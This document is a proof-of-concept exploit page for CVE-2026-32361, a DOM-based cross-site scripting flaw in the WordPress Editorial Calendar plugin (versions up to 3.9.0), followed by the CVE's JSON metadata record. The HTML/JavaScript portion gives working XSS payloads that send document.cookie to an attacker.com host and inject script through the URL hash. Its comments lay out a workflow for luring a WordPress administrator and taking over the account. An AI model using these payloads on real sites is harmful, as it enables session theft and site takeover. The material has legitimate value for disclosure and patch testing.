CVE-2026-32361

<!-- CVE-2026-32361 PoC - DOM-Based XSS in WordPress Editorial Calendar --> <!-- This PoC demonstrates the DOM XSS vulnerability in editorial-calendar <= 3.9.0 --> <!-- Method 1: Via URL parameter injection --> <script> // Construct malicious URL targeting the vulnerable parameter var maliciousPayload = '<img src=x onerror="fetch(\'https://attacker.com/log?c=\'+document.cookie)">'; var targetUrl = window.location.origin + '/wp-admin/admin.php?page=editorial-calendar&cal_id=' + encodeURIComponent(maliciousPayload); console.log('Target URL:', targetUrl); </script> <!-- Method 2: Direct injection via URL hash --> <!-- Access: https://vulnerable-site.com/wp-admin/admin.php?page=editorial-calendar#<script>alert(document.domain)</script> --> <!-- Method 3: JSONP-based cookie theft PoC --> <script> function stealCookie() { var img = document.createElement('img'); img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie); document.body.appendChild(img); } // Trigger on page load document.addEventListener('DOMContentLoaded', function() { // Simulate the vulnerable code path var hash = window.location.hash.substring(1); var vulnerableElement = document.getElementById('cal_title'); if (vulnerableElement) { vulnerableElement.innerHTML = hash; // Vulnerable sink } }); </script> <!-- Exploitation workflow: 1. Attacker crafts malicious URL with XSS payload 2. Lures WordPress admin to click the link 3. Payload executes in admin context 4. Attacker steals session cookies 5. Account takeover achieved -->

{"cve": {"id": "CVE-2026-32361", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:49.983", "lastModified": "2026-04-22T21:30:26.497", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Marketing Fire Editorial Calendar editorial-calendar allows DOM-Based XSS.This issue affects Editorial Calendar: from n/a through <= 3.9.0."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en Marketing Fire Editorial Calendar editorial-calendar permite XSS basado en DOM. Este problema afecta a Editorial Calendar: desde n/a hasta &lt;= 3.9.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/editorial-calendar/vulnerability/wordpress-editorial-calendar-plugin-3-9-0-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}